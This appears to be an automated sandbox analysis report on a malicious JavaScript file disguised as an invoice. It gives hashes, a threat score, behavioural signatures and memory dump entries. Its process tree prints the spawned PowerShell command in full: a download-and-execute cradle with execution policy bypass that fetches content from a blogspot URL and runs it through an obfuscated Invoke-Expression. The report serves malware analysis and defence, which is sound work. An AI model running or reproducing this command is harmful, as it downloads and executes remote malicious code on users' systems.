Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231025-en
  • resource tags

    arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
  • submitted
    01-12-2023 06:49

General

  • Target

    invoice_2566246817.js

  • Size

    106KB

  • MD5

    fc6d7a11059fee2eda2bab5e4c82c839

  • SHA1

    9907895c521bddd02573ca5e361490f017932dbe

  • SHA256

    39afb67d0916e6761f7604cb65ebdb1c115f24e62d9b122c0137b46215a0b00c

  • SHA512

    1e820c22e9cbd0f360b7187eb8062089ead22cfd1a62e0e47450523659b841bf37278ddfd530c4792529d88145ceb1ff88389d541fda9e68d9c127ba5579fb39

  • SSDEEP

    384:boJdyttnpXrov4gPyjjF/9sui+1VaEEEfEfffEfEffESxyOVYZPjcrdRoDT/8W8z:kS5W

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\invoice_2566246817.js
    1⤵
    • Deletes itself
    • Suspicious use of WriteProcessMemory
    PID:1372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c $((irm hotelofficeewn.blogspot.com////////////////////////////////////atom.xml) | .('{1}{0}'-f'kasokdaoskdoaksodkasodkaoskdoaksdoaksod','I').replace('kasokdaoskdoaksodkasodkaoskdoaksdoaksod','ex'))
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2368

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2368-4-0x000000001B300000-0x000000001B5E2000-memory.dmp

    Filesize

    2.9MB

  • memory/2368-5-0x0000000002480000-0x0000000002488000-memory.dmp

    Filesize

    32KB

  • memory/2368-6-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

    Filesize

    9.6MB

  • memory/2368-7-0x00000000029E0000-0x0000000002A60000-memory.dmp

    Filesize

    512KB

  • memory/2368-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

    Filesize

    9.6MB

  • memory/2368-9-0x00000000029E0000-0x0000000002A60000-memory.dmp

    Filesize

    512KB

  • memory/2368-10-0x00000000029E0000-0x0000000002A60000-memory.dmp

    Filesize

    512KB

  • memory/2368-11-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

    Filesize

    9.6MB